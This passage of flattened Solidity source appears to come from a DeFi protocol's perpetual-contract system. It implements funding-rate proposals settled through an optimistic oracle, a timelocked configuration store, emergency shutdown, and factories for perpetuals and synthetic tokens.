* @param _collateralAddress address of the collateral token.
* @param _finderAddress Finder used to discover financial-product-related contracts.
* @param _configStoreAddress address of the remote configuration store managed by an external owner.
* @param _tokenScaling initial scaling to apply to the token value (i.e. scales the tracking index).
* @param _timerAddress address of the timer contract in test envs, otherwise 0x0.
*/
constructor(
bytes32 _fundingRateIdentifier,
address _collateralAddress,
address _finderAddress,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) EmergencyShutdownable() {
uint256 currentTime = getCurrentTime();
fundingRate.updateTime = currentTime;
fundingRate.applicationTime = currentTime;
// Seed the cumulative multiplier with the token scaling, from which it will be scaled as funding rates are
// applied over time.
fundingRate.cumulativeMultiplier = _tokenScaling;
fundingRate.identifier = _fundingRateIdentifier;
configStore = ConfigStoreInterface(_configStoreAddress);
}
/**
* @notice This method takes 3 distinct actions:
* 1. Pays out regular fees.
* 2. If possible, resolves the outstanding funding rate proposal, pulling the result in and paying out the rewards.
* 3. Applies the prevailing funding rate over the most recent period.
*/
function applyFundingRate() public paysRegularFees() nonReentrant() {
_applyEffectiveFundingRate();
}
/**
* @notice Proposes a new funding rate. Proposer receives a reward if correct.
* @param rate funding rate being proposed.
* @param timestamp time at which the funding rate was computed.
*/
function proposeFundingRate(FixedPoint.Signed memory rate, uint256 timestamp)
external
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalBond)
{
require(fundingRate.proposalTime == 0, "Proposal in progress");
_validateFundingRate(rate);
// Timestamp must be after the last funding rate update time, within the last 30 minutes.
uint256 currentTime = getCurrentTime();
uint256 updateTime = fundingRate.updateTime;
require(
timestamp > updateTime && timestamp >= currentTime.sub(_getConfig().proposalTimePastLimit),
"Invalid proposal time"
);
// Set the proposal time in order to allow this contract to track this request.
fundingRate.proposalTime = timestamp;
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
// Set up optimistic oracle.
bytes32 identifier = fundingRate.identifier;
bytes memory ancillaryData = _getAncillaryData();
// Note: requestPrice will revert if `timestamp` is less than the current block timestamp.
optimisticOracle.requestPrice(identifier, timestamp, ancillaryData, collateralCurrency, 0);
totalBond = FixedPoint.Unsigned(
optimisticOracle.setBond(
identifier,
timestamp,
ancillaryData,
_pfc().mul(_getConfig().proposerBondPercentage).rawValue
)
);
// Pull bond from caller and send to optimistic oracle.
if (totalBond.isGreaterThan(0)) {
collateralCurrency.safeTransferFrom(msg.sender, address(this), totalBond.rawValue);
collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), totalBond.rawValue);
}
optimisticOracle.proposePriceFor(
msg.sender,
address(this),
identifier,
timestamp,
ancillaryData,
rate.rawValue
);
}
// Returns a token amount scaled by the current funding rate multiplier.
// Note: if the contract has paid fees since it was deployed, the raw value should be larger than the returned value.
function _getFundingRateAppliedTokenDebt(FixedPoint.Unsigned memory rawTokenDebt)
internal
view
returns (FixedPoint.Unsigned memory tokenDebt)
{
return rawTokenDebt.mul(fundingRate.cumulativeMultiplier);
}
function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) {
return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle));
}
function _getConfig() internal returns (ConfigStoreInterface.ConfigSettings memory) {
return configStore.updateAndGetCurrentConfig();
}
function _updateFundingRate() internal {
uint256 proposalTime = fundingRate.proposalTime;
// If there is no pending proposal then do nothing. Otherwise check to see if we can update the funding rate.
if (proposalTime != 0) {
// Attempt to update the funding rate.
OptimisticOracleInterface optimisticOracle = _getOptimisticOracle();
bytes32 identifier = fundingRate.identifier;
bytes memory ancillaryData = _getAncillaryData();
// Try to get the price from the optimistic oracle. This call will revert if the request has not resolved
// yet. If the request has not resolved yet, then we need to do additional checks to see if we should
// "forget" the pending proposal and allow new proposals to update the funding rate.
try optimisticOracle.settleAndGetPrice(identifier, proposalTime, ancillaryData) returns (int256 price) {
// If successful, determine if the funding rate state needs to be updated.
// If the request is more recent than the last update then we should update it.
uint256 lastUpdateTime = fundingRate.updateTime;
if (proposalTime >= lastUpdateTime) {
// Update funding rates
fundingRate.rate = FixedPoint.Signed(price);
fundingRate.updateTime = proposalTime;
// If there was no dispute, send a reward.
FixedPoint.Unsigned memory reward = FixedPoint.fromUnscaledUint(0);
OptimisticOracleInterface.Request memory request =
optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData);
if (request.disputer == address(0)) {
reward = _pfc().mul(_getConfig().rewardRatePerSecond).mul(proposalTime.sub(lastUpdateTime));
if (reward.isGreaterThan(0)) {
_adjustCumulativeFeeMultiplier(reward, _pfc());
collateralCurrency.safeTransfer(request.proposer, reward.rawValue);
}
}
// This event will only be emitted after the fundingRate struct's "updateTime" has been set
// to the latest proposal's proposalTime, indicating that the proposal has been published.
// So, it suffices to just emit fundingRate.updateTime here.
emit FundingRateUpdated(fundingRate.rate.rawValue, fundingRate.updateTime, reward.rawValue);
}
// Set proposal time to 0 since this proposal has now been resolved.
fundingRate.proposalTime = 0;
} catch {
// Stop tracking and allow other proposals to come in if:
// - The requester address is empty, indicating that the Oracle does not know about this funding rate
// request. This is possible if the Oracle is replaced while the price request is still pending.
// - The request has been disputed.
OptimisticOracleInterface.Request memory request =
optimisticOracle.getRequest(address(this), identifier, proposalTime, ancillaryData);
if (request.disputer != address(0) || request.proposer == address(0)) {
fundingRate.proposalTime = 0;
}
}
}
}
// Constraining the range of funding rates limits the PfC for any dishonest proposer and enhances the
// perpetual's security. For example, let's examine the case where the max and min funding rates
// are equivalent to +/- 500%/year. This 1000% funding rate range allows a 8.6% profit from corruption for a
// proposer who can deter honest proposers for 74 hours:
// 1000%/year / 360 days / 24 hours * 74 hours max attack time = ~ 8.6%.
// How would attack work? Imagine that the market is very volatile currently and that the "true" funding
// rate for the next 74 hours is -500%, but a dishonest proposer successfully proposes a rate of +500%
// (after a two hour liveness) and disputes honest proposers for the next 72 hours. This results in a funding
// rate error of 1000% for 74 hours, until the DVM can set the funding rate back to its correct value.
function _validateFundingRate(FixedPoint.Signed memory rate) internal {
require(
rate.isLessThanOrEqual(_getConfig().maxFundingRate) &&
rate.isGreaterThanOrEqual(_getConfig().minFundingRate)
);
}
// Fetches a funding rate from the Store, determines the period over which to compute an effective fee,
// and multiplies the current multiplier by the effective fee.
// A funding rate < 1 will reduce the multiplier, and a funding rate of > 1 will increase the multiplier.
// Note: 1 is set as the neutral rate because there are no negative numbers in FixedPoint, so we decide to treat
// values < 1 as "negative".
function _applyEffectiveFundingRate() internal {
// If contract is emergency shutdown, then the funding rate multiplier should no longer change.
if (emergencyShutdownTimestamp != 0) {
return;
}
uint256 currentTime = getCurrentTime();
uint256 paymentPeriod = currentTime.sub(fundingRate.applicationTime);
_updateFundingRate(); // Update the funding rate if there is a resolved proposal.
fundingRate.cumulativeMultiplier = _calculateEffectiveFundingRate(
paymentPeriod,
fundingRate.rate,
fundingRate.cumulativeMultiplier
);
fundingRate.applicationTime = currentTime;
}
function _calculateEffectiveFundingRate(
uint256 paymentPeriodSeconds,
FixedPoint.Signed memory fundingRatePerSecond,
FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier
) internal pure returns (FixedPoint.Unsigned memory newCumulativeFundingRateMultiplier) {
// Note: this method uses named return variables to save a little bytecode.
// The overall formula that this function is performing:
// newCumulativeFundingRateMultiplier =
// (1 + (fundingRatePerSecond * paymentPeriodSeconds)) * currentCumulativeFundingRateMultiplier.
FixedPoint.Signed memory ONE = FixedPoint.fromUnscaledInt(1);
// Multiply the per-second rate over the number of seconds that have elapsed to get the period rate.
FixedPoint.Signed memory periodRate = fundingRatePerSecond.mul(SafeCast.toInt256(paymentPeriodSeconds));
// Add one to create the multiplier to scale the existing fee multiplier.
FixedPoint.Signed memory signedPeriodMultiplier = ONE.add(periodRate);
// Max with 0 to ensure the multiplier isn't negative, then cast to an Unsigned.
FixedPoint.Unsigned memory unsignedPeriodMultiplier =
FixedPoint.fromSigned(FixedPoint.max(signedPeriodMultiplier, FixedPoint.fromUnscaledInt(0)));
// Multiply the existing cumulative funding rate multiplier by the computed period multiplier to get the new
// cumulative funding rate multiplier.
newCumulativeFundingRateMultiplier = currentCumulativeFundingRateMultiplier.mul(unsignedPeriodMultiplier);
}
function _getAncillaryData() internal view returns (bytes memory) {
// Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address
// whose funding rate it's trying to get.
return abi.encodePacked(_getTokenAddress());
}
function _getTokenAddress() internal view virtual returns (address);
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's uintXX casting operators with added overflow
* checks.
*
* Downcasting from uint256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} to extend it to smaller types, by performing
* all math on `uint256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
interface ConfigStoreInterface {
// All of the configuration settings available for querying by a perpetual.
struct ConfigSettings {
// Liveness period (in seconds) for an update to currentConfig to become official.
uint256 timelockLiveness;
// Reward rate paid to successful proposers. Percentage of 1 E.g., .1 is 10%.
FixedPoint.Unsigned rewardRatePerSecond;
// Bond % (of given contract's PfC) that must be staked by proposers. Percentage of 1, e.g. 0.0005 is 0.05%.
FixedPoint.Unsigned proposerBondPercentage;
// Maximum funding rate % per second that can be proposed.
FixedPoint.Signed maxFundingRate;
// Minimum funding rate % per second that can be proposed.
FixedPoint.Signed minFundingRate;
// Funding rate proposal timestamp cannot be more than this amount of seconds in the past from the latest
// update time.
uint256 proposalTimePastLimit;
}
function updateAndGetCurrentConfig() external returns (ConfigSettings memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title EmergencyShutdownable contract.
* @notice Any contract that inherits this contract will have an emergency shutdown timestamp state variable.
* This contract provides modifiers that can be used by children contracts to determine if the contract is
* in the shutdown state. The child contract is expected to implement the logic that happens
* once a shutdown occurs.
*/
abstract contract EmergencyShutdownable {
using SafeMath for uint256;
/****************************************
* EMERGENCY SHUTDOWN DATA STRUCTURES *
****************************************/
// Timestamp used in case of emergency shutdown. 0 if no shutdown has been triggered.
uint256 public emergencyShutdownTimestamp;
/****************************************
* MODIFIERS *
****************************************/
modifier notEmergencyShutdown() {
_notEmergencyShutdown();
_;
}
modifier isEmergencyShutdown() {
_isEmergencyShutdown();
_;
}
/****************************************
* EXTERNAL FUNCTIONS *
****************************************/
constructor() public {
emergencyShutdownTimestamp = 0;
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _notEmergencyShutdown() internal view {
// Note: removed require string to save bytecode.
require(emergencyShutdownTimestamp == 0);
}
function _isEmergencyShutdown() internal view {
// Note: removed require string to save bytecode.
require(emergencyShutdownTimestamp != 0);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../common/FundingRateApplier.sol";
import "../../common/implementation/FixedPoint.sol";
// Implements FundingRateApplier internal methods to enable unit testing.
contract FundingRateApplierTest is FundingRateApplier {
constructor(
bytes32 _fundingRateIdentifier,
address _collateralAddress,
address _finderAddress,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
)
public
FundingRateApplier(
_fundingRateIdentifier,
_collateralAddress,
_finderAddress,
_configStoreAddress,
_tokenScaling,
_timerAddress
)
{}
function calculateEffectiveFundingRate(
uint256 paymentPeriodSeconds,
FixedPoint.Signed memory fundingRatePerSecond,
FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier
) public pure returns (FixedPoint.Unsigned memory) {
return
_calculateEffectiveFundingRate(
paymentPeriodSeconds,
fundingRatePerSecond,
currentCumulativeFundingRateMultiplier
);
}
// Required overrides.
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory currentPfc) {
return FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this)));
}
function emergencyShutdown() external override {}
function remargin() external override {}
function _getTokenAddress() internal view override returns (address) {
return address(collateralCurrency);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ConfigStoreInterface.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @notice ConfigStore stores configuration settings for a perpetual contract and provides an interface for it
* to query settings such as reward rates, proposal bond sizes, etc. The configuration settings can be upgraded
* by a privileged account and the upgraded changes are timelocked.
*/
contract ConfigStore is ConfigStoreInterface, Testable, Lockable, Ownable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* STORE DATA STRUCTURES *
****************************************/
// Make currentConfig private to force user to call getCurrentConfig, which returns the pendingConfig
// if its liveness has expired.
ConfigStoreInterface.ConfigSettings private currentConfig;
// Beginning on `pendingPassedTimestamp`, the `pendingConfig` can be published as the current config.
ConfigStoreInterface.ConfigSettings public pendingConfig;
uint256 public pendingPassedTimestamp;
/****************************************
* EVENTS *
****************************************/
event ProposedNewConfigSettings(
address indexed proposer,
uint256 rewardRatePerSecond,
uint256 proposerBondPercentage,
uint256 timelockLiveness,
int256 maxFundingRate,
int256 minFundingRate,
uint256 proposalTimePastLimit,
uint256 proposalPassedTimestamp
);
event ChangedConfigSettings(
uint256 rewardRatePerSecond,
uint256 proposerBondPercentage,
uint256 timelockLiveness,
int256 maxFundingRate,
int256 minFundingRate,
uint256 proposalTimePastLimit
);
/****************************************
* MODIFIERS *
****************************************/
// Update config settings if possible.
modifier updateConfig() {
_updateConfig();
_;
}
/**
* @notice Construct the Config Store. An initial configuration is provided and set on construction.
* @param _initialConfig Configuration settings to initialize `currentConfig` with.
* @param _timerAddress Address of testable Timer contract.
*/
constructor(ConfigSettings memory _initialConfig, address _timerAddress) public Testable(_timerAddress) {
_validateConfig(_initialConfig);
currentConfig = _initialConfig;
}
/**
* @notice Returns current config or pending config if pending liveness has expired.
* @return ConfigSettings config settings that calling financial contract should view as "live".
*/
function updateAndGetCurrentConfig()
external
override
updateConfig()
nonReentrant()
returns (ConfigStoreInterface.ConfigSettings memory)
{
return currentConfig;
}
/**
* @notice Propose new configuration settings. New settings go into effect after a liveness period passes.
* @param newConfig Configuration settings to publish after `currentConfig.timelockLiveness` passes from now.
* @dev Callable only by owner. Calling this while there is already a pending proposal will overwrite the pending proposal.
*/
function proposeNewConfig(ConfigSettings memory newConfig) external onlyOwner() nonReentrant() updateConfig() {
_validateConfig(newConfig);
// Warning: This overwrites a pending proposal!
pendingConfig = newConfig;
// Use current config's liveness period to timelock this proposal.
pendingPassedTimestamp = getCurrentTime().add(currentConfig.timelockLiveness);
emit ProposedNewConfigSettings(
msg.sender,
newConfig.rewardRatePerSecond.rawValue,
newConfig.proposerBondPercentage.rawValue,
newConfig.timelockLiveness,
newConfig.maxFundingRate.rawValue,
newConfig.minFundingRate.rawValue,
newConfig.proposalTimePastLimit,
pendingPassedTimestamp
);
}
/**
* @notice Publish any pending configuration settings if there is a pending proposal that has passed liveness.
*/
function publishPendingConfig() external nonReentrant() updateConfig() {}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Check if pending proposal can overwrite the current config.
function _updateConfig() internal {
// If liveness has passed, publish proposed configuration settings.
if (_pendingProposalPassed()) {
currentConfig = pendingConfig;
_deletePendingConfig();
emit ChangedConfigSettings(
currentConfig.rewardRatePerSecond.rawValue,
currentConfig.proposerBondPercentage.rawValue,
currentConfig.timelockLiveness,
currentConfig.maxFundingRate.rawValue,
currentConfig.minFundingRate.rawValue,
currentConfig.proposalTimePastLimit
);
}
}
function _deletePendingConfig() internal {
delete pendingConfig;
pendingPassedTimestamp = 0;
}
function _pendingProposalPassed() internal view returns (bool) {
return (pendingPassedTimestamp != 0 && pendingPassedTimestamp <= getCurrentTime());
}
// Use this method to constrain values with which you can set ConfigSettings.
function _validateConfig(ConfigStoreInterface.ConfigSettings memory config) internal pure {
// We don't set limits on proposal timestamps because there are already natural limits:
// - Future: price requests to the OptimisticOracle must be in the past---we can't add further constraints.
// - Past: proposal times must always be after the last update time, and a reasonable past limit would be 30
// mins, meaning that no proposal timestamp can be more than 30 minutes behind the current time.
// Make sure timelockLiveness is not too long, otherwise contract might not be able to fix itself
// before a vulnerability drains its collateral.
require(config.timelockLiveness <= 7 days && config.timelockLiveness >= 1 days, "Invalid timelockLiveness");
// The reward rate should be modified as needed to incentivize honest proposers appropriately.
// Additionally, the rate should be less than 100% a year => 100% / 360 days / 24 hours / 60 mins / 60 secs
// = 0.0000033
FixedPoint.Unsigned memory maxRewardRatePerSecond = FixedPoint.fromUnscaledUint(33).div(1e7);
require(config.rewardRatePerSecond.isLessThan(maxRewardRatePerSecond), "Invalid rewardRatePerSecond");
// We don't set a limit on the proposer bond because it is a defense against dishonest proposers. If a proposer
// were to successfully propose a very high or low funding rate, then their PfC would be very high. The proposer
// could theoretically keep their "evil" funding rate alive indefinitely by continuously disputing honest
// proposers, so we would want to be able to set the proposal bond (equal to the dispute bond) higher than their
// PfC for each proposal liveness window. The downside of not limiting this is that the config store owner
// can set it arbitrarily high and preclude a new funding rate from ever coming in. We suggest setting the
// proposal bond based on the configuration's funding rate range like in this discussion:
// https://github.com/UMAprotocol/protocol/issues/2039#issuecomment-719734383
// We also don't set a limit on the funding rate max/min because we might need to allow very high magnitude
// funding rates in extraordinarily volatile market situations. Note, that even though we do not bound
// the max/min, we still recommend that the deployer of this contract set the funding rate max/min values
// to bound the PfC of a dishonest proposer. A reasonable range might be the equivalent of [+200%/year, -200%/year].
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/implementation/ContractCreator.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "../../common/implementation/Lockable.sol";
import "../common/TokenFactory.sol";
import "../common/SyntheticToken.sol";
import "./PerpetualLib.sol";
import "./ConfigStore.sol";
/**
* @title Perpetual Contract creator.
* @notice Factory contract to create and register new instances of perpetual contracts.
* Responsible for constraining the parameters used to construct a new perpetual. This creator contains a number of constraints
* that are applied to newly created contract. These constraints can evolve over time and are
* initially constrained to conservative values in this first iteration. Technically there is nothing in the
* Perpetual contract requiring these constraints. However, because `createPerpetual()` is intended
* to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract),
we can enforce deployment configurations here.
*/
contract PerpetualCreator is ContractCreator, Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* PERP CREATOR DATA STRUCTURES *
****************************************/
// Immutable params for perpetual contract.
struct Params {
address collateralAddress;
bytes32 priceFeedIdentifier;
bytes32 fundingRateIdentifier;
string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
FixedPoint.Unsigned minSponsorTokens;
FixedPoint.Unsigned tokenScaling;
uint256 withdrawalLiveness;
uint256 liquidationLiveness;
}
// Address of TokenFactory used to create a new synthetic token.
address public tokenFactoryAddress;
event CreatedPerpetual(address indexed perpetualAddress, address indexed deployerAddress);
event CreatedConfigStore(address indexed configStoreAddress, address indexed ownerAddress);
/**
* @notice Constructs the Perpetual contract.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances.
* @param _timerAddress Contract that stores the current time in a testing environment.
*/
constructor(
address _finderAddress,
address _tokenFactoryAddress,
address _timerAddress
) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() {
tokenFactoryAddress = _tokenFactoryAddress;
}
/**
* @notice Creates an instance of perpetual and registers it within the registry.
* @param params is a `ConstructorParams` object from Perpetual.
* @return address of the deployed contract.
*/
function createPerpetual(Params memory params, ConfigStore.ConfigSettings memory configSettings)
public
nonReentrant()
returns (address)
{
require(bytes(params.syntheticName).length != 0, "Missing synthetic name");
require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol");
// Create new config settings store for this contract and reset ownership to the deployer.
ConfigStore configStore = new ConfigStore(configSettings, timerAddress);
configStore.transferOwnership(msg.sender);
emit CreatedConfigStore(address(configStore), configStore.owner());
// Create a new synthetic token using the params.
TokenFactory tf = TokenFactory(tokenFactoryAddress);
// If the collateral token does not have a `decimals()` method,
// then a default precision of 18 will be applied to the newly created synthetic token.
uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress);
ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals);
address derivative = PerpetualLib.deploy(_convertParams(params, tokenCurrency, address(configStore)));
// Give permissions to new derivative contract and then hand over ownership.
tokenCurrency.addMinter(derivative);
tokenCurrency.addBurner(derivative);
tokenCurrency.resetOwner(derivative);
_registerContract(new address[](0), derivative);
emit CreatedPerpetual(derivative, msg.sender);
return derivative;
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
// Converts createPerpetual params to Perpetual constructor params.
function _convertParams(
Params memory params,
ExpandedIERC20 newTokenCurrency,
address configStore
) private view returns (Perpetual.ConstructorParams memory constructorParams) {
// Known from creator deployment.
constructorParams.finderAddress = finderAddress;
constructorParams.timerAddress = timerAddress;
// Enforce configuration constraints.
require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0");
require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0");
_requireWhitelistedCollateral(params.collateralAddress);
// We don't want perpetual deployers to be able to intentionally or unintentionally set
// liveness periods that could induce arithmetic overflow, but we also don't want
// to be opinionated about what livenesses are "correct", so we will somewhat
// arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness
// periods even greater than a few days would make the perpetual unusable for most users.
require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large");
require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large");
// To avoid precision loss or overflows, prevent the token scaling from being too large or too small.
FixedPoint.Unsigned memory minScaling = FixedPoint.Unsigned(1e8); // 1e-10
FixedPoint.Unsigned memory maxScaling = FixedPoint.Unsigned(1e28); // 1e10
require(
params.tokenScaling.isGreaterThan(minScaling) && params.tokenScaling.isLessThan(maxScaling),
"Invalid tokenScaling"
);
// Input from function call.
constructorParams.configStoreAddress = configStore;
constructorParams.tokenAddress = address(newTokenCurrency);
constructorParams.collateralAddress = params.collateralAddress;
constructorParams.priceFeedIdentifier = params.priceFeedIdentifier;
constructorParams.fundingRateIdentifier = params.fundingRateIdentifier;
constructorParams.collateralRequirement = params.collateralRequirement;
constructorParams.disputeBondPercentage = params.disputeBondPercentage;
constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
constructorParams.minSponsorTokens = params.minSponsorTokens;
constructorParams.withdrawalLiveness = params.withdrawalLiveness;
constructorParams.liquidationLiveness = params.liquidationLiveness;
constructorParams.tokenScaling = params.tokenScaling;
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/FinderInterface.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "./Registry.sol";
import "./Constants.sol";
/**
* @title Base contract for all financial contract creators
*/
abstract contract ContractCreator {
address internal finderAddress;
constructor(address _finderAddress) public {
finderAddress = _finderAddress;
}
function _requireWhitelistedCollateral(address collateralAddress) internal view {
FinderInterface finder = FinderInterface(finderAddress);
AddressWhitelist collateralWhitelist =
AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
require(collateralWhitelist.isOnWhitelist(collateralAddress), "Collateral not whitelisted");
}
function _registerContract(address[] memory parties, address contractToRegister) internal {
FinderInterface finder = FinderInterface(finderAddress);
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
registry.registerContract(parties, contractToRegister);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "./SyntheticToken.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/implementation/Lockable.sol";
/**
* @title Factory for creating new mintable and burnable tokens.
*/
contract TokenFactory is Lockable {
/**
* @notice Create a new token and return it to the caller.
* @dev The caller will become the only minter and burner and the new owner capable of assigning the roles.
* @param tokenName used to describe the new token.
* @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals used to define the precision used in the token's numerical representation.
* @return newToken an instance of the newly created token interface.
*/
function createToken(
string calldata tokenName,
string calldata tokenSymbol,
uint8 tokenDecimals
) external nonReentrant() returns (ExpandedIERC20 newToken) {
SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals);
mintableToken.addMinter(msg.sender);
mintableToken.addBurner(msg.sender);
mintableToken.resetOwner(msg.sender);
newToken = ExpandedIERC20(address(mintableToken));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/ExpandedERC20.sol";
import "../../common/implementation/Lockable.sol";
/**
* @title Burnable and mintable ERC20.
* @dev The contract deployer will initially be the only minter, burner and owner capable of adding new roles.
*/
contract SyntheticToken is ExpandedERC20, Lockable {
/**
* @notice Constructs the SyntheticToken.
* @param tokenName The name which describes the new token.
* @param tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory tokenName,
string memory tokenSymbol,
uint8 tokenDecimals
) public ExpandedERC20(tokenName, tokenSymbol, tokenDecimals) nonReentrant() {}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external override nonReentrant() {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Remove Minter role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Minter role is removed.
*/
function removeMinter(address account) external nonReentrant() {
removeMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external override nonReentrant() {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Removes Burner role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Burner role is removed.
*/
function removeBurner(address account) external nonReentrant() {
removeMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external override nonReentrant() {
resetMember(uint256(Roles.Owner), account);
}
/**
* @notice Checks if a given account holds the Minter role.
* @param account The address which is checked for the Minter role.
* @return bool True if the provided account is a Minter.
*/
function isMinter(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Minter), account);
}
/**
